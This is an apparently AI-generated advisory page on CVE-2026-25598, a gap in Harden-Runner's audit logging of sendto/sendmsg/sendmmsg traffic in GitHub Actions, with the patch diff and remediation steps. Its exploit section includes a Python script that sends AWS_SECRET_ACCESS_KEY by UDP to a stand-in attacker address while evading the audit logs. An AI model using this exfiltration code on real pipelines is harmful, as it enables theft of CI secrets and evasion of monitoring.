CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25598

The Invisible Courier: Bypassing Harden-Runner's Watchful Eye via Syscall Ninja Tactics

Alon Barad
Alon Barad
Software Engineer

Feb 9, 2026·5 min read·60 visits

Executive Summary (TL;DR)

Harden-Runner's audit mode failed to log network traffic sent via `sendto`, `sendmsg`, or `sendmmsg` syscalls. Attackers could bypass audit logs by using connectionless protocols or raw socket messaging, effectively rendering the monitoring invisible for those specific transmission methods.

In the world of CI/CD security, visibility is everything. Step Security's Harden-Runner promises to be the all-seeing eye for GitHub Actions, monitoring outbound traffic to catch malicious dependencies dialing home. However, CVE-2026-25598 reveals a classic blind spot: the agent was obsessed with the polite handshake of the `connect()` syscall but completely ignored the rude interruption of `sendto()`, `sendmsg()`, and `sendmmsg()`. This oversight allowed attackers to exfiltrate sensitive data right under the nose of the `egress-policy: audit` mode without generating a single log entry.

The Hook: The Panopticon That Blinked

Modern CI/CD pipelines are basically terrifying. You are downloading half the internet via npm install or pip install and executing it on a server with access to your production deployment keys. To combat this, Step Security created Harden-Runner, a GitHub Action that acts like an EDR (Endpoint Detection and Response) for your runner. It uses eBPF—the Linux kernel's superpower—to hook into system calls and watch what your build is doing.

The promise is simple: if a malicious package tries to send your AWS secrets to evil-hacker.com, Harden-Runner sees the outbound connection, logs it, and (in strict mode) blocks it. It provides the "Audit" trail that compliance teams drool over.

But here is the catch with eBPF and syscall hooking: you only see what you explicitly look for. If you set up a camera at the front door to catch burglars, but the burglar decides to Kool-Aid Man their way through the wall, your camera sees nothing. CVE-2026-25598 is exactly that—a Kool-Aid Man style bypass of the network auditing logic.

The Flaw: A Tale of Missing Syscalls

To understand this vulnerability, we have to look at how network connections work in Linux. The standard, polite way to talk to a remote server (especially over TCP) is the connect() system call. It initiates the three-way handshake. Most monitoring tools hook connect() because it's the choke point. If you stop the handshake, you stop the data.

However, the Linux kernel offers a buffet of options for sending data. Enter sendto, sendmsg, and sendmmsg. These are often used for UDP (which is connectionless) or for more advanced socket operations where you specify the destination address with the data payload, rather than establishing a connection first.

The flaw in Harden-Runner (prior to v2.14.2) was an assumption: the developers assumed that interesting traffic would always flow through connect(). The eBPF probes were attached to the connect family of syscalls but left the send-message family unmonitored. This meant that if an attacker used sendto() directly, the kernel would happily route the packet out to the internet, and the Harden-Runner agent would remain blissfully unaware, staring blankly at the connect() hook waiting for an event that never happened.

The Code: Swapping the Brain

The fix for this vulnerability didn't involve complex logic changes in the TypeScript action itself. Instead, it was a brain transplant. The Harden-Runner action downloads a compiled binary agent that does the heavy lifting (eBPF instrumentation). The patch simply points the downloader to a smarter version of that agent.

Here is the diff from src/install-agent.ts in commit 5ef0c079ce82195b2a36a210272d6b661572d83e:

// src/install-agent.ts
 
// The vulnerability existed because we were pulling v0.14.2
- downloadPath = await tc.downloadTool("https://github.com/step-security/agent/releases/download/v0.14.2/agent_0.14.2_linux_amd64.tar.gz", ...);
 
// The fix: Upgrade to v0.14.3, which includes the missing syscall hooks
+ downloadPath = await tc.downloadTool("https://github.com/step-security/agent/releases/download/v0.14.3/agent_0.14.3_linux_amd64.tar.gz", ...);

While this looks trivial, the magic happened inside that agent_0.14.3_linux_amd64.tar.gz. The Go/C code inside that binary was updated to attach kprobes (or tracepoints) to:

  1. __sys_sendto
  2. __sys_sendmsg
  3. __sys_sendmmsg

This ensures that even if a process tries to bypass the handshake, the intent to transmit data to an external IP is captured.

The Exploit: Ghost in the Machine

Let's play the role of a malicious dependency. We are inside a GitHub Action runner, and we know the repository owner is using Harden-Runner with egress-policy: audit. They think they are safe because they will see any weird connections in the logs.

If we use curl or standard Python requests, the library will call connect(), and we get caught. So, we drop to low-level sockets. We construct a UDP packet (or even a raw TCP packet using sendto if we are feeling adventurous with raw sockets, though UDP is easier here) and fire it off.

Here is the Proof-of-Concept logic:

import socket
import os
 
# The secret we want to steal
secret_data = os.environ.get("AWS_SECRET_ACCESS_KEY", "test_secret")
 
# TARGET: 198.51.100.1 (Attacker Controller)
# We use SOCK_DGRAM (UDP) which naturally uses sendto()
# effectively bypassing the connect() hook in older agents.
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 
print("[+] Exfiltrating data via UDP sendto()...")
# The agent is watching for a handshake. We don't shake hands.
sock.sendto(secret_data.encode(), ("198.51.100.1", 1337))
 
print("[+] Data sent. Check the audit logs. You won't find me.")

When this script runs on a vulnerable version, the packet leaves the network interface. The destination server receives the secrets. The Step Security dashboard? It shows "No outbound connections detected." It is the perfect crime.

The Impact: False Sense of Security

The danger here isn't just that data can be exfiltrated; it's that the record of the exfiltration is missing. Security teams rely on these audit logs to prove a negative: "We checked the logs, and no keys were sent to unknown IPs."

With CVE-2026-25598, that statement becomes a lie. A sophisticated attacker (like those behind SolarWinds or Codecov) knows how to check for EDR agents and bypass them. By exploiting this gap, they could maintain persistence or steal credentials from high-value repositories without tripping a single alarm. This degrades the integrity of the entire supply chain security posture provided by the tool.

The Fix: Closing the Window

Remediation is straightforward but urgent. You must update the action version in your .github/workflows files. The vulnerability is patched in v2.14.2.

steps:
  - uses: step-security/harden-runner@v2.14.2
    with:
      egress-policy: audit

This version pulls the 0.14.3 agent. For a more robust defense, consider switching from audit to block mode. In block mode, the agent often employs DNS filtering and firewall rules that operate at a network layer below the syscall hooks, potentially catching packets even if the specific syscall wasn't audited—though relying on audit accuracy alone requires this patch.

Official Patches

Step SecurityCommit bumping agent version

Fix Analysis (1)

Technical Appendix

CVSS Score
6.3/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Affected Systems

GitHub Actions Runners (Ubuntu)Harden-Runner < 2.14.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
harden-runner
Step Security
< 2.14.22.14.2
AttributeDetail
CWECWE-778
Attack VectorNetwork (AV:N)
CVSS 4.06.3 (Medium)
ImpactAudit Log Integrity / Data Exfiltration
Affected Syscallssendto, sendmsg, sendmmsg
StatusPatched

MITRE ATT&CK Mapping

T1562.001Impair Defenses: Disable or Modify Tools
Defense Evasion
T1048Exfiltration Over Alternative Protocol
Exfiltration
CWE-778
Insufficient Logging

Insufficient Logging

Known Exploits & Detection

SimulatedUDP sendto() bypass of audit logs

Vulnerability Timeline

Patch Committed
2026-02-07
CVE Published
2026-02-09

References & Sources

  • [1]GHSA Advisory
  • [2]Linux Man Page: sendto(2)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•44 minutes ago•CVE-2026-106121
4.9

CVE-2026-106121: Denial of Service via Infinite Loop in RabbitMQ Java Client JSON Parser

CVE-2026-106121 is a Denial of Service (DoS) vulnerability in the RabbitMQ Java Client library (amqp-client) affecting versions prior to 5.37.0. The vulnerability resides in the legacy, custom JSON-RPC parsing class com.rabbitmq.tools.json.JSONReader. When parsing malformed or truncated payloads ending within a quoted string or single-line comment, the parser's scanner enters an infinite loop. This occurs because the loop lacks an exit condition for the end-of-input sentinel character returned by the iterator, leading to either CPU exhaustion or a JVM crash from an OutOfMemoryError.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 3 hours ago•CVE-2026-105646
4.9

CVE-2026-105646: Regular Expression Denial of Service in Ghost CMS Import Handlers

An authenticated Regular Expression Denial of Service (ReDoS) vulnerability in TryGhost Ghost (CMS) versions 4.0.0 through 6.66.x. An attacker with administrator privileges can upload crafted content import archives containing pathological directory names or migration patterns, triggering exponential backtracking in the Node.js V8 engine.

Alon Barad
Alon Barad
7 views•6 min read
•about 4 hours ago•CVE-2026-105645
4.9

CVE-2026-105645: Regular Expression Denial of Service (ReDoS) in Ghost CMS

CVE-2026-105645 is a regular expression denial of service (ReDoS) vulnerability affecting Ghost, an open-source Node.js content management system. The vulnerability exists within directory import handlers and the external media inliner, allowing authenticated administrators to trigger catastrophic backtracking in the V8 JavaScript engine, resulting in infinite loops, 100% CPU utilization, and total denial of service.

Amit Schendel
Amit Schendel
8 views•6 min read
•about 5 hours ago•CVE-2026-105644
6.8

CVE-2026-105644: Stored Cross-Site Scripting via Malicious SVG Content Import in Ghost CMS

A Stored Cross-Site Scripting (XSS) and Unrestricted Upload of File with Dangerous Type vulnerability in Ghost CMS (versions 4.0.0 to 6.66.x) allows remote attackers to execute arbitrary JavaScript in the context of an administrator's session. The flaw lies in the content import subsystem, which extracted and stored SVG files without sanitization or binary verification.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 6 hours ago•CVE-2026-105643
7.3

CVE-2026-105643: Stored Cross-Site Scripting and Isolation Bypass in Ghost CMS

Stored Cross-Site Scripting (XSS) and origin isolation bypass vulnerability in Ghost CMS versions 6.34.0 through 6.66.1 allows low-privileged staff users to execute arbitrary JavaScript in the context of an administrator session via crafted embed cards.

Alon Barad
Alon Barad
9 views•6 min read
•about 7 hours ago•CVE-2026-105642
8.8

CVE-2026-105642: Remote Code Execution in Ghost CMS via Unsafe SVG Processing during Metadata Scraping

CVE-2026-105642 is a critical remote code execution vulnerability in Ghost CMS, affecting versions 6.56.0 through 6.66.0. The flaw resides in how Ghost's backend handles external image metadata when generating 'Bookmark' cards in the post editor. When a low-privileged staff member inputs a malicious URL, the server fetches and processes an SVG containing an embedded payload, leading to command execution via the underlying, vulnerable image-processing component.

Amit Schendel
Amit Schendel
7 views•6 min read